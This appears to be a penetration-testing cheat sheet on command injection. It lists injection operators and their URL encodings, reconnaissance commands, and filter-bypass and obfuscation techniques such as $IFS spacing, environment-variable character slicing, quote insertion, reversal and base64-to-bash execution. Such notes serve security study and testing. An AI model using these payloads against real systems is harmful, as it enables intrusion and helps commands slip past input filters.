Command Injection
Occurs when improperly sanitized user input is used to perform operations. It allows the attacker to execute commands on the host operating system.
Types: In-Band and Blind.
Tools
Obfuscation Linux
bashfuscator -l
(list of techniques)
bashfuscator -c "<COMMAND>" -s 1 -t 1 --no-mangling --layers 1
Obfuscation Windows
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
> SET COMMAND <COMMAND>
> encoding
> 1
Injection Operator
Semicolon
;
%3b
Both
New Line
\
%0a
Both
Background
&
%26
Both (second output generally shown first)
Pipe
|
%7c
Both (only second output is shown)
AND
&&
%26%26
Both (only if first succeeds)
OR
||
%7c%7c
Second (only if first fails)
Sub-Shell
``
%60%60
Both (Linux-only)
Sub-Shell
$()
%24%28%29
Both (Linux-only)
Useful Commands
Name of current user
whoami
whoami
Operating system
uname -a
ver
Network configuration
ifconfig
ipconfig /all
Network connections
netstat -an
netstat -an
Running processes
ps -ef
tasklist
Blind
Bypassing Filters
Space
TAB
%09
IFS
$IFS
${IFS}
Bash Brace Expansion
{ls,-la}
Characters in Variables
Linux Environment Variables
printenv
${<VARIABLE>:<START>:<LENGTH>}
${PATH:0:1}
or ${LS_COLORS:10:1}
Windows CMD
set
%<VARIABLE>:~<START>,<LENGTH>%
%HOMEPATH:~0,1%
or %HOMEPATH:~6,-11%
Windows PowerShell
[Get-ChildItem/cgi/ls/dir] env:
$env:<VARIABLE>[<CHAR>]
$env:<VARIABLE>.Substring(<FROM>, <TO>)
$env:HOMEPATH[0]
or $env:HOMEPATH.Substring(0, 2)
Shift Characters
Shift 1 →
man ascii
(take previous character X)
$(tr '!-}' '"-~'<<<X)
Obfuscation
''
and ""
in command name
w’h’oa’m’i
w"h"oa"m"i
\
and $@
in command name
w\ho\a\mi
wh$@oami
$()
in command name
wh$()oami
wh$(random)oami
Case-Sensitive
${VAR,,}
takes the variable in lowercase, ${VAR^^}
in uppercase
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
(in /bin/bash)
$(a="WhOaMi";echo ${a,,})
Inverse
echo 'whoami' | rev
(get inverse)
$(rev<<<'imaohw')
Encoding
bash<<<$(base64 -d<<<BASE64)
Note: The commands seen can be written in many ways based on the filtered characters, try different ones (ex. |
instead of <<<
or sh
for command execution)
Last updated